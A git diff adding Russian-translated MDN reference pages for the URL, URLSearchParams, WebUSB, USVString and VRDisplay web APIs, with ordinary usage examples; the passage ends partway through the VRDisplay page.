+ <dt>{{domxref("URLUtils.username")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("URLUtils.password")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URLUtils.searchParams")}}</dt>
+ <dd>Returns a {{domxref("URLSearchParams")}} object allowing to access the GET query arguments contained in the URL.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("URL.URL", "URL()")}}</dt>
+ <dd>Creates and return a <code>URL</code> object composed from the given parameters.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>The <code>URL</code> interface implements methods defined in {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Статические_методы">Статические методы</h2>
+
+<dl>
+ <dt>{{domxref("URL.createObjectURL()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing a unique blob URL, that is a URL with <code>blob:</code> as its scheme, followed by an opaque string uniquely identifying the object in the browser.</dd>
+ <dt>{{domxref("URL.revokeObjectURL()")}}</dt>
+ <dd>Revokes an object URL previously created using {{domxref("URL.createObjectURL()")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#creating-revoking', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Добавлены статические методы <code>URL.createObjectURL()</code>, <code>URL.revokeObjectURL</code><code>()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#api', 'Node')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition (implements <code>URLUtils</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.URL")}}</p>
+
+<h2 id="Chrome_Code_-_Scope_Availability">Chrome Code - Scope Availability</h2>
+
+<p>To use from chrome code, JSM and Bootstrap scope, you have to import it like this:</p>
+
+<pre class="brush: js notranslate">Cu.importGlobalProperties(['URL']);
+</pre>
+
+<p><code>URL</code> is available in Worker scopes.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Property allowing to get such an object: {{domxref("Window.URL")}}.</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/url/url/index.html b/files/ru/web/api/url/url/index.html
new file mode 100644
index 0000000000..7907e088a8
--- /dev/null
+++ b/files/ru/web/api/url/url/index.html
@@ -0,0 +1,121 @@
+---
+title: URL()
+slug: Web/API/URL/URL
+translation_of: Web/API/URL/URL
+---
+<p>{{SeeCompatTable}}{{APIRef("URL API")}}</p>
+
+<p>Конструктор <code><strong>URL()</strong></code> возвращает вновь созданный  {{domxref("URL")}} объект отражающий URL определяемый параметрами.</p>
+
+<p>If the given base URL or the resulting URL are not valid URLs, a {{domxref("DOMException")}} of type <code>SYNTAX_ERROR</code> is thrown.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>url</em> = new URL(<em>urlString</em>, [<em>baseURLstring</em>])
+<em>url</em> = new URL(<em>urlString</em>, <em>baseURLobject</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>urlString</em></dt>
+ <dd>Is a {{domxref("DOMString")}} representing an absolute or relative URL. If <em>urlString</em> is a relative URL, <em>baseURLstring</em> or <em>baseURLobject</em>, whichever is present, will be used as the base URL. If <em>urlString</em> is an absolute URL, <em>baseURLstring</em> and <em>baseURLobject</em> are ignored.</dd>
+ <dt><em>baseURLstring </em>{{optional_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the base URL to use in case <em>urlString</em> is a relative URL. If not specified, and no <em>baseURLobject</em> is passed in parameters, it default to <code>'about:blank'</code>. If it is an invalid absolute URL, the constructor will raise a {{domxref("DOMException")}} of type <code>SYNTAX_ERROR</code></dd>
+ <dt><em>baseURLobject</em></dt>
+ <dd>Is a {{domxref("URL")}} object representing the base URL to use in case <em>urlString</em> is a relative URL.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js  language-js">var a = new URL("/", "https://developer.mozilla.org"); // Creates a URL pointing to 'https://developer.mozilla.org/'
+var b = new URL("https://developer.mozilla.org");      // Creates a URL pointing to 'https://developer.mozilla.org/'
+var c = new URL('en-US/docs', b);                      // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var d = new URL('/en-US/docs', b);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var f = new URL('/en-US/docs', d);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var g = new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var h = new URL('/en-US/docs', a);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var i = new URL('/en-US/docs', '');                    // Raises a SYNTAX ERROR exception as '/en-US/docs' is not valid
+var j = new URL('/en-US/docs');                        // Raises a SYNTAX ERROR exception as 'about:blank/en-US/docs' is not valid
+var k = new URL('http://www.example.com', 'https://developers.mozilla.com');
+                                                       // Creates a URL pointing to 'http://www.example.com/'
+var l = new URL('http://www.example.com', b);          // Creates a URL pointing to 'http://www.example.com/'
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#constructors', 'URL.URL()')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The interface it belongs to: {{domxref("URL")}}.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/urlsearchparams/delete/index.html b/files/ru/web/api/urlsearchparams/delete/index.html
new file mode 100644
index 0000000000..a9a41726ed
--- /dev/null
+++ b/files/ru/web/api/urlsearchparams/delete/index.html
@@ -0,0 +1,60 @@
+---
+title: URLSearchParams.delete()
+slug: Web/API/URLSearchParams/delete
+translation_of: Web/API/URLSearchParams/delete
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Метод <strong><code>delete()</code> </strong>интерфейса {{domxref("URLSearchParams")}} удаляет все указанные параметры и все связанные с ним значения из списка найденых параметров.</p>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">URLSearchParams.delete(<em>name</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>Название удаляемого параметра.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">let url = new URL('https://example.com?foo=1&amp;bar=2&amp;foo=3');
+let params = new URLSearchParams(url.search.slice(1));
+
+// Удалить параметр foo.
+params.delete('foo'); //Строка запроса теперь: 'bar=2'</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#dom-urlsearchparams-delete', "delete()")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимые_браузеры">Совместимые браузеры</h2>
+
+<div>
+
+
+<p>{{Compat("api.URLSearchParams.delete")}}</p>
+</div>
diff --git a/files/ru/web/api/urlsearchparams/index.html b/files/ru/web/api/urlsearchparams/index.html
new file mode 100644
index 0000000000..a72525e018
--- /dev/null
+++ b/files/ru/web/api/urlsearchparams/index.html
@@ -0,0 +1,109 @@
+---
+title: URLSearchParams
+slug: Web/API/URLSearchParams
+translation_of: Web/API/URLSearchParams
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p><strong><code>URLSearchParams</code></strong> интерфейс определяет служебные методы для работы со строкой запроса URL.</p>
+
+<p>Объект, реализующий <code>URLSearchParams</code>, может непосредственно использоваться в структуре {{jsxref('Statements/for...of', 'for...of')}}, например, следующие две строки идентичны:</p>
+
+<pre><code>for (var p of mySearchParams);
+for (var p of mySearchParams.entries());</code>
+</pre>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}</dt>
+ <dd>Конструктор возвращает объект <code>URLSearchParams</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследование свойств отсутствует.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Отсутствует наследование методов</em></p>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.append()")}}</dt>
+ <dd>Добавляет указанную пару key/value в качестве нового параметра поиска.</dd>
+ <dt>{{domxref("URLSearchParams.delete()")}}</dt>
+ <dd>Удаляет заданный параметр поиска и связанное с ним значение из списка всех параметров поиска.</dd>
+ <dt>{{domxref("URLSearchParams.entries()")}}</dt>
+ <dd>Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти через все пары key/value, содержащиеся в этом объекте.</dd>
+ <dt>{{domxref("URLSearchParams.get()")}}</dt>
+ <dd>Возвращает первое значение, связанное с заданным параметром поиска.</dd>
+ <dt>{{domxref("URLSearchParams.getAll()")}}</dt>
+ <dd>Возвращает все значения ассоциации с заданным параметром поиска.</dd>
+ <dt>{{domxref("URLSearchParams.has()")}}</dt>
+ <dd>Возвращает {{jsxref ("Boolean")}}, указывающий, существует ли такой параметр поиска.</dd>
+ <dt>{{domxref("URLSearchParams.keys()")}}</dt>
+ <dd>Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти все ключи пары key/value, содержащиеся в этом объекте.</dd>
+ <dt>{{domxref("URLSearchParams.set()")}}</dt>
+ <dd>Устанавливает значение, связанное с заданным параметром поиска, с заданным значением. Если было несколько значений, удалите остальные.</dd>
+ <dt>{{domxref("URLSearchParams.toString()")}}</dt>
+ <dd>Возвращает строку, содержащую строку запроса, подходящую для использования в URL-адресе.</dd>
+ <dt>{{domxref("URLSearchParams.values()")}}</dt>
+ <dd>Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти через все значения пар key/value, содержащихся в этом объекте.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var paramsString = "q=URLUtils.searchParams&amp;topic=api"
+var searchParams = new URLSearchParams(paramsString);
+
+// Итерируем параметры поиска.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=api&amp;topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментраий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div id="compat-mobile">{{Compat("api.URLSearchParams")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Other URL-related interfaces: {{domxref("URL")}}, {{domxref("URLUtils")}}.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Easy URL manipulation with URLSearchParams</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ru/web/api/usb/getdevices/index.html b/files/ru/web/api/usb/getdevices/index.html
new file mode 100644
index 0000000000..8b69fce817
--- /dev/null
+++ b/files/ru/web/api/usb/getdevices/index.html
@@ -0,0 +1,63 @@
+---
+title: USB.getDevices()
+slug: Web/API/USB/getDevices
+tags:
+  - API
+  - Method
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+  - getDevices()
+translation_of: Web/API/USB/getDevices
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Метод<strong> <code>getDevices</code> </strong>интерфейса {{DOMxRef("USB")}} возвращает {{JSxRef("Promise")}}, который разрешается с массивом {{DOMxRef("USBDevice")}} объектов сопряжённых подключённых устройств. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>USB</em>.getDevices()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{JSxRef("Promise")}}, который разрешается с массивом объектов {{DOMxRef("USBDevice")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем примере имена продуктов и серийные номера сопряжённых устройств выводятся в консоль. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice","USB.requestDevice()")}}.</p>
+
+<pre class="brush: js notranslate">navigator.usb.getDevices()
+.then(devices =&gt; {
+  console.log("Total devices: " + devices.length);
+  devices.forEach(device =&gt; {
+    console.log("Product name: " + device.productName + ", serial number " + device.serialNumber);
+  });
+});</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web USB","#dom-usb-getdevices","getDevices")}}</td>
+   <td>{{Spec2("Web USB")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB.getDevices")}}</p>
diff --git a/files/ru/web/api/usb/index.html b/files/ru/web/api/usb/index.html
new file mode 100644
index 0000000000..423ffc90da
--- /dev/null
+++ b/files/ru/web/api/usb/index.html
@@ -0,0 +1,60 @@
+---
+title: USB
+slug: Web/API/USB
+tags:
+  - API
+  - Interface
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+translation_of: Web/API/USB
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Интерфейс <strong><code>USB</code></strong> <a href="/en-US/docs/Web/API/WebUSB_API">WebUSB API</a> представляет аттрибуты и методы для поиска и подключения USB устройств из WEB страницы.</p>
+
+<h2 id="Свойтсва">Свойтсва</h2>
+
+<p>Нет.</p>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("USB.onconnect")}}</dt>
+ <dd>Обработчик событий вызывается всегда, когда ранее сопряжённое устройство подключается.</dd>
+ <dt>{{domxref("USB.ondisconnect")}}</dt>
+ <dd>Обработчик событий вызывается всегда, когда ранее сопряжённое устройство отключается.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("USB.getDevices()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который разрешается массивов объектов {{domxref("USBDevice")}} сопряжённых устройств.</dd>
+ <dt>{{domxref("USB.requestDevice()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который разрешается экземпляром {{domxref("USBDevice")}}, если указаннное устройство найдено. Вызов этой функции запускает поток сопряжения агента пользователя.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web USB','#enumeration','USB')}}</td>
+   <td>{{Spec2('Web USB')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB")}}</p>
diff --git a/files/ru/web/api/usb/onconnect/index.html b/files/ru/web/api/usb/onconnect/index.html
new file mode 100644
index 0000000000..3a7d64e234
--- /dev/null
+++ b/files/ru/web/api/usb/onconnect/index.html
@@ -0,0 +1,43 @@
+---
+title: USB.onconnect
+slug: Web/API/USB/onconnect
+tags:
+  - API
+  - Method
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+  - onconnect
+translation_of: Web/API/USB/onconnect
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Свойство <strong><code>onconnect</code></strong> интерфейса {{DOMxRef("USB")}} является обработчиком события, который вызывается всегда, когда сопряжённое устройство подключается.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>USB</em>.onconnect = <em>connectFunction</em></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web USB","#dom-usb-onconnect","onconnect")}}</td>
+   <td>{{Spec2("Web USB")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB.onconnect")}}</p>
diff --git a/files/ru/web/api/usb/ondisconnect/index.html b/files/ru/web/api/usb/ondisconnect/index.html
new file mode 100644
index 0000000000..25dff131a0
--- /dev/null
+++ b/files/ru/web/api/usb/ondisconnect/index.html
@@ -0,0 +1,43 @@
+---
+title: USB.ondisconnect
+slug: Web/API/USB/ondisconnect
+tags:
+  - API
+  - Method
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+  - ondisconnect
+translation_of: Web/API/USB/ondisconnect
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Свойство <strong><code>ondisconnect</code></strong> интерфейса {{domxref("USB")}} является обработчиком события, который вызывается всегда, когда сопряжённое устройство отключается.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">USB.ondisconnect = <em>disconnectFunction</em></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web USB','#dom-usb-ondisconnect','ondisconnect')}}</td>
+   <td>{{Spec2('Web USB')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB.ondisconnect")}}</p>
diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html
new file mode 100644
index 0000000000..bb162ad242
--- /dev/null
+++ b/files/ru/web/api/usb/requestdevice/index.html
@@ -0,0 +1,82 @@
+---
+title: USB.requestDevice()
+slug: Web/API/USB/requestDevice
+tags:
+  - API
+  - USB
+  - WebUSB
+  - WebUSB API
+  - getDevices()
+  - Определение
+  - метод
+translation_of: Web/API/USB/requestDevice
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Метод <strong><code>requestDevice()</code></strong> интерфейса {{domxref("USB")}} возвращает {{jsxref("Promise")}}, возвращающий экземпляр {{domxref("USBDevice")}}, если необходимое устройство было найдено. Вызов этого метода начинает процесс соединения браузера с устройством.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>USB</em>.requestDevice([<em>filters</em>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>filters</dt>
+ <dd>Массив объектов, определяющих фильтры для устройств, к которым требуется подключиться. Каждый фильтр может содержать следующие свойства:
+ <ul>
+  <li><code>vendorId</code> - ИД производителя (USB VID)</li>
+  <li><code>productId</code> - ИД устройства USB PID</li>
+  <li><code>classCode</code> - код класса функциональности устройства</li>
+  <li><code>subclassCode</code> - код подкласса</li>
+  <li><code>protocolCode</code> - код протокола</li>
+  <li><code>serialNumber</code> - серийный номер</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{JSxRef("Promise")}}, возвращающий экземпляр {{DOMxRef("USBDevice")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример запрашивает любое из перечисленных USB-устройств. Обратите внимание, указаны два разных PID. Оба присутствуют в списке фильтров для <code>requestDevice()</code>. При этом браузер покажет окно для выбора и подтверждения доступа к устройству. Только выбранное пользователем устройство будет передано в <code>then()</code>.</p>
+
+<p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и еще одно, совпадающее со вторым, будут показаны все три устройства.</p>
+
+<pre class="brush: js notranslate">const filters = [
+        {vendorId: 0x1209, productId: 0xa800},
+        {vendorId: 0x1209, productId: 0xa850}
+      ];
+navigator.usb.requestDevice({filters: filters})
+.then(usbDevice =&gt; {
+  console.log("Product name: " + usbDevice.productName);
+})
+.catch(e =&gt; {
+  console.log("There is no device. " + e);
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web USB","#dom-usb-requestdevice-options-options","requestDevice")}}</td>
+   <td>{{Spec2("Web USB")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.USB.requestDevice")}}</p>
diff --git a/files/ru/web/api/usvstring/index.html b/files/ru/web/api/usvstring/index.html
new file mode 100644
index 0000000000..a5bf4a85ff
--- /dev/null
+++ b/files/ru/web/api/usvstring/index.html
@@ -0,0 +1,40 @@
+---
+title: USVString
+slug: Web/API/USVString
+tags:
+  - API
+  - DOM
+  - Reference
+  - String
+  - WebIDL
+translation_of: Web/API/USVString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>USVString</code></strong> соответствует набору всех возможных последовательностей скалярных значений Unicode. <code>USVString</code> сопоставляется с {{JSxRef("String")}} при возврате в JavaScript; обычно он используется только для API, которые выполняют обработку текста и для работы нуждаются в строке скалярных значений Unicode. USVString эквивалентна {{DOMxRef("DOMString")}} за исключением того, что не позволяет использовать непарные суррогатные кодовые точки. Непарные суррогатные кодовые точки, присутствующие в USVString, конвертируются браузером в «замещающий символ» Unicode <code>U+FFFD</code>, (�).</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebIDL", "#idl-USVString", "USVString")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{JSxRef("String")}}</li>
+ <li>{{DOMxRef("DOMString")}}</li>
+ <li>{{DOMxRef("CSSOMString")}}</li>
+ <li><a href="/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ru/web/api/vrdisplay/index.html b/files/ru/web/api/vrdisplay/index.html
new file mode 100644
index 0000000000..9bec0eb481
--- /dev/null
+++ b/files/ru/web/api/vrdisplay/index.html
@@ -0,0 +1,129 @@
+---
+title: VRDisplay
+slug: Web/API/VRDisplay
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Interface
+  - Media
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - VR
+  - VRDisplay
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/VRDisplay
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>VRDisplay</code></strong> interface of the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> represents any VR device supported by this API. It includes generic information such as device IDs and descriptions, as well as methods for starting to present a VR scene, retrieving eye parameters and display capabilities, and other important functionality.</p>
+
+<p>An array of all connected VR Devices can be returned by invoking the {{domxref("Navigator.getVRDisplays()")}} method.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay.capabilities")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("VRDisplayCapabilities")}} object that indicates the various capabilities of the <code>VRDisplay</code>.</dd>
+ <dt>{{domxref("VRDisplay.depthFar")}}</dt>
+ <dd>Gets and sets the z-depth defining the far plane of the <a href="https://en.wikipedia.org/wiki/Viewing_frustum">eye view frustum</a>, i.e. the furthest viewable boundary of the scene.</dd>
+ <dt>{{domxref("VRDisplay.depthNear")}}</dt>
+ <dd>Gets and sets the z-depth defining the near plane of the <a href="https://en.wikipedia.org/wiki/Viewing_frustum">eye view frustum</a>, i.e. the nearest viewable boundary of the scene.</dd>
+ <dt>{{domxref("VRDisplay.displayId")}} {{readonlyInline}}</dt>
+ <dd>Returns an identifier for this particular VRDisplay, which is also used as an association point in the <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> (see {{domxref("Gamepad.displayId")}}).</dd>
+ <dt>{{domxref("VRDisplay.displayName")}} {{readonlyInline}}</dt>
+ <dd>Returns a human-readable name to identify the <code>VRDisplay</code>.</dd>
+ <dt>{{domxref("VRDisplay.isConnected")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the <code>VRDisplay</code> is connected to the computer.</dd>
+ <dt>{{domxref("VRDisplay.isPresenting")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the <code>VRDisplay</code> is currently having content presented through it.</dd>
+ <dt>{{domxref("VRDisplay.stageParameters")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("VRStageParameters")}} object containing room-scale parameters, if the <code>VRDisplay</code> is capable of supporting room-scale experiences.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay.getEyeParameters()")}}</dt>
+ <dd>Returns the {{domxref("VREyeParameters")}} object containing the eye parameters for the specified eye.</dd>
+ <dt>{{domxref("VRDisplay.getFrameData()")}}</dt>
+ <dd>Accepts a {{domxref("VRFrameData")}} object and populates it with the information required to render the current frame.</dd>
+ <dt>{{domxref("VRDisplay.getLayers()")}}</dt>
